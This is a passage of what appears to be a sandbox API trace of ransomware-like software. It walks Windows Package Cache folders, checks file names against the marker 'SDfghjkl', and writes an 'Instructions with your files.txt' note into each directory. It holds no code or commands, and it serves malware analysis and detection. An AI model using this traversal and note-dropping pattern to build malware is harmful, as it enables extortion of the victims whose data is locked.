[0126.394] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.394] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.394] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Instructions with your files.txt") returned 116
[0126.394] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.396] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.397] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.397] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.397] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.397] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.397] CloseHandle (hObject=0x10c) returned 1
[0126.397] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.397] GetProcessHeap () returned 0x810000
[0126.397] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.398] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
[0126.398] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83
[0126.398] GetProcessHeap () returned 0x810000
[0126.398] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.398] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned 85
[0126.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.399] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\.") returned 85
[0126.399] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.399] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\..") returned 86
[0126.399] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.399] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 92
[0126.399] GetProcessHeap () returned 0x810000
[0126.399] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.399] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned 94
[0126.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.399] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\.") returned 94
[0126.399] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.399] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\..") returned 95
[0126.399] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0126.399] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 116
[0126.399] GetProcessHeap () returned 0x810000
[0126.399] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.399] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned 118
[0126.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.401] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\.") returned 118
[0126.401] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.401] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\..") returned 119
[0126.401] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.401] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 125
[0126.401] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.401] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.401] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 145
[0126.401] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0126.401] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.401] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 149
[0126.401] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.403] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.404] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.404] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.404] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.404] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.404] CloseHandle (hObject=0x114) returned 1
[0126.404] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.404] GetProcessHeap () returned 0x810000
[0126.404] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.404] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0126.404] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Instructions with your files.txt") returned 125
[0126.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.405] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.405] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.405] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.406] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.406] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.406] CloseHandle (hObject=0x110) returned 1
[0126.406] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.406] GetProcessHeap () returned 0x810000
[0126.406] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.406] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.406] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Instructions with your files.txt") returned 116
[0126.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.406] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.407] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.407] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.407] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.407] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.408] CloseHandle (hObject=0x10c) returned 1
[0126.408] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.408] GetProcessHeap () returned 0x810000
[0126.408] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.408] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
[0126.408] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83
[0126.408] GetProcessHeap () returned 0x810000
[0126.408] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.408] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned 85
[0126.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.410] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\.") returned 85
[0126.410] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.410] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\..") returned 86
[0126.410] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.410] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 92
[0126.410] GetProcessHeap () returned 0x810000
[0126.410] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.410] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned 94
